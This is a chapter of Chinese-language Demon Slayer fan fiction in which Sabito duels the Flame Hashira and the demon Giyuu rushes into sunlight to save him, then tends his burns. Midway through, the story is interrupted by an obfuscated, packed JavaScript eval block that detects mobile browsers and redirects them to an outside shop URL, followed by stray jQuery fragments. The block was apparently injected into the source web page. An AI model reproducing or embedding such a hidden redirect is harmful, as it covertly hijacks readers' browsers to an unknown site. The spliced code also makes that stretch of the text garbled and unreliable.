53.奔赴阳光的义勇

作品:《[鬼灭]义勇师弟今天也可可爱爱

    他的力气渐渐消失,开始大口地喘气,肩膀失血和下巴被划伤令得他越发焦躁起来。


    他必须要想办法赢。


    “速度慢下来了,攻击也乱了章法——果然还是急了。”则江在一旁低语。


    “但他能坚持到现在已经不容小觑,要知道,寻常队员在柱的面前走不过一招,锖兔缺的只是对战经验,但是只要给他半年时间,他必定会脱胎换骨,成为可以比肩柱的存在。”一旁的平野林说道。


    话音未落,锖兔纵身疾冲,挥刀直劈!


    “他疯了不成!”平林野今日涂着暗紫色唇脂,原本环抱双臂观战,此时却忍不住直起身,“这样莽撞只会败得更快!”明知炎柱不可战胜,竟还直线硬闯——是自暴自弃了么?


    “太愚蠢了!”炼狱槙寿郎第一次露出怒色。他欣赏眼前的少年,所以才没有立刻结束战斗,本来是想逼出对方的潜力,看看他能否真正伤到自己——只要做到,便算通过考验。


    柱合会议后,主公与众柱已经达成共识,必须保护义勇——他若死去,未来也许会改变。因此这一场比试无论结果如何,义勇都不会有事。这次比试,其实是为了验证锖兔是否具备保护义勇的能力与决心。无惨已经下达追杀令,而义勇只信任锖兔一人。如果锖兔无力保护,鬼杀队便只能将义勇囚禁在鬼杀队里将他保护起来。


    炎柱十分愤怒,眼见日轮刀直刺而来,他的炎刃猛然侧击,震了锖兔手中的剑。


    结束了!


    他心想。


    然而看台四周骤然响起一片惊哗。


    炼狱槙寿郎在一瞬间感知到危机,他抬剑反刺,上身疾仰——却已经迟了一霎。


    锖兔左手执刀,低声吐出招式名:“水之呼吸·十一之型·晓突水!”如此近身的情况下,就算炎柱的身法再快,也很难全部避开。


    锖兔知道自己没有胜算,所以他前期一直营造一个速度渐渐变慢、体力不支的假象,还将接连攻击不到后越发浮躁表演得淋漓尽致,就为了最后一刻,唯一能接近炎柱的机会——左手挥出了自己最擅长的一型。


    炼狱槙寿郎难以置信地看向自己手臂上绽开的血口。


    就在此时,他的日轮刀也条件反射般地刺进去锖兔的胸口——


    千钧一发,义勇从看台上跳了下来。


    没有人想到鬼竟然会主动冲到日光之下。


    义勇快得只剩残影——先夺过最近队员的日轮刀,挑开炎柱刺向锖兔的刀刃,继而反手掷剑,直逼炼狱槙寿郎面门。


    他的身体已开始燃烧。


    锖兔的身形不断往后退——在他的判断里,他刺向炎柱之后,对方也会由于条件反射刺向自己,而他可以顺势往后倒,自己虽然受伤比炎柱重,但是不会死,而他也赢得这场战斗,保护了义勇。


    这是他预想的结果。


    可他没算到义勇会扑向阳光。


    焦灼的气息弥漫开来。义勇的脸在日光下迅速灼红,手臂皮肤寸寸成灰。


    “义——勇——!”锖兔目眦欲裂。


    他扑身向前,将义勇死死压在身下,把那颗头颅紧紧护进怀中。


    “变小!快变小!”锖兔嘶声大喊。即便他以身遮蔽,义勇的手脚仍已被灼伤。


    全场愕然。谁也不敢相信,鬼竟会为保护人类而冲入阳光。


    日光直射下,鬼不过数十秒便会化为灰烬。


    即便是最有理智的鬼,也绝对不会主动跑到阳光下。


    义勇浑身剧颤,身体不住抽搐。那双湛蓝的眼眸转为深暗,渐渐失焦。


    阳光覆体的那一瞬,他如同烧灼的枯木。如果再晚上十秒,就会灰飞烟灭。


    “求你……快变小!”锖兔的泪水仿佛决堤一般,顺着脸颊直接坠落,他只能祈求义勇立即缩小,唯有那样,义勇才有一线生机。他恨自己护不住义勇,又一次让他重伤濒死。


    仿佛历经半个世纪那般漫长,义勇终于将身体缩小到幼年时期。最后痉挛两下,彻底昏迷过去,好在身体不再继续溃散。


    “医疗班!快来!”所有的鬼杀队成员都被这一幕深深地震撼,从今往后,再也不会有人怀疑义勇会吃人。


    则江迅速将羽织披在了锖兔和义勇身上,将义勇遮得严严实实的。


    这时候,所有人内心一片沉重,就连普通队员也是,他们本来就对这只不吃人的鬼有些好感,现在看到他竟然保护人类,护的还是锖兔,爱屋及乌,他们也感同身受。


    义勇很快被送入医疗室。


    则江即刻着手救治。


    门外,锖兔静坐等候。他肩上伤口最深,其余细伤遍布,他却浑然不觉。


    “锖兔大人,您也包扎一下吧。”曾照料他的瑞树轻声劝道。


    “不必。让我独处片刻。”锖兔压抑着声音。


    直至此刻,他仍觉胸腔翻涌,几欲作呕。看到义勇险些消散的那一刻,恐惧如冰水灌顶,他甚至忘了呼吸,只能向天乞求,别带走义勇。


    为什么,受伤的会是义勇?


    明明是自己不够强,该承受这一切的该是自己才对。


    明明发誓不再让他受伤的。


    锖兔剧烈咳嗽起来,仿佛要把肺都咳出。许久止呕,他紧攥左拳,指甲深深地刺入掌心,鲜血顺臂淌落,在地上汇成暗红斑点。仿佛只有这样,他才能感受到万分之一义勇承受的痛苦。


    义勇受伤很重,他变成小孩子之后,伤势总算稳定下来,则江给他打了很多的药剂,他的四肢缠满绷带——他的手和脚几乎被烧毁。许久,治疗才告一段落。


    治疗完之后,则江走了出去,看到锖兔坐在了门外的凳子上。治疗期间,为了不被打扰,则江不允许非医疗班的人进来。


    “情况稳住了,他是鬼,会恢复的。”则江温声道。


    锖兔没有任何反应,依旧垂着头,傍晚的余晖落在他的身上,拉长了他的影子,那双紫色的眼眸没有眨一下,仿佛时间被冻结。


    “不去看看他吗?”则江问。


    良久,锖兔才低哑开口:“我有什么资格看他?他因为保护我才变成这样。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095847|193041||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你这样消极才是辜负了他的心意。”则江说道。


    等到四下无人,锖兔才推开医疗室的门,来到义勇床前。


    “对不起,义勇,又是因为我不够强,害得你受伤了。”他说道。


    他坐在义勇面前很久很久。


    义勇努力想睁眼,眼皮却沉重如铁。


    有温热的液体一滴滴落在他脸颊,义勇不明白锖兔为什么要哭泣,是因为自己成了鬼吗?


    如果自己没有变成鬼就好了。


    如果——他杀了无惨就好了。


    锖兔守到日沉月升,也没有挪动半分。


    “锖兔大人,吃点东西吧。”瑞树端了饭菜过来,从早上到快天黑,已经一整天过去,锖兔滴水未进。他担心他会熬不住。


    锖兔没有反应。瑞树叹了叹气,将饭菜放在一旁的桌子上,轻轻地离开。


    等到天完全黑透,锖兔才俯下身,在义勇额前落下极轻的一吻。


    “我不该让你受伤,不知从什么时候开始,你在我心中,早已经不只是师兄弟。”他的声音低哑,又轻轻吻了吻义勇纤长的眼睫毛,“你比亲人更重要,是我生命里不可割舍的一部分。”


    “我绝不会再让你受到一点伤害了。”


    他握紧日轮刀,转身出门。


    他找到了则江,“请帮我训练,我要成为最强。”锖兔的眼中只剩一片沉静的决绝,每个字都像从骨血里凿出。


    则江微怔,对方说的不是“成为柱”,而是“最强”。眼前的少年收敛起一切悲伤,恢复了往日那般坚韧决绝的气势。则江再次对他改观,看来不用半年,对方就能成为柱。


    今日午后,锖兔见义勇重伤,痛至几乎窒息。那份守护师弟的执念,令人动容。鬼杀队中大多数人都经历过失去,则江明白他这种心情,只有变强,才能护住所爱。这份心意,将成为他剑锋之上最凛冽的水花。


    “随我来吧。”则江颔首。


    医疗室重归寂静,只剩一盏孤灯,晕开微弱光斑。


    病榻上,义勇睁开了眼睛。


    饥饿如野兽撕咬脏腑。吃人……他要吃人……


    他想吞噬血肉,填满这无尽空虚。门外飘来人类气息,刺激着他每一寸神经。


    下一瞬,他猛地摇头。


    不,他不能吃人……


    他是水柱……富冈义勇。


    义勇终于想起自己的身份。


    他唾弃地想着,自己还真是耻辱,身为柱竟然变成了鬼。


    依照队律,鬼杀队员不得变成鬼。否则,培育师负连带之责。柱与继子尤甚——他们知晓本部多处要地,一旦成鬼,不仅士气溃散,更可能引敌深入。


    自己的存在,会连累师傅,也会害了锖兔。


    为什么已成鬼的自己,还苟活于世?


    记忆如潮水般席卷而来。那些他不曾放在心上的细碎片段,一次次涌上、退去,又再度扑来,反复冲刷着他每一寸神经。


    头疼欲裂。


    义勇支撑着坐起身,痛苦地喘息着。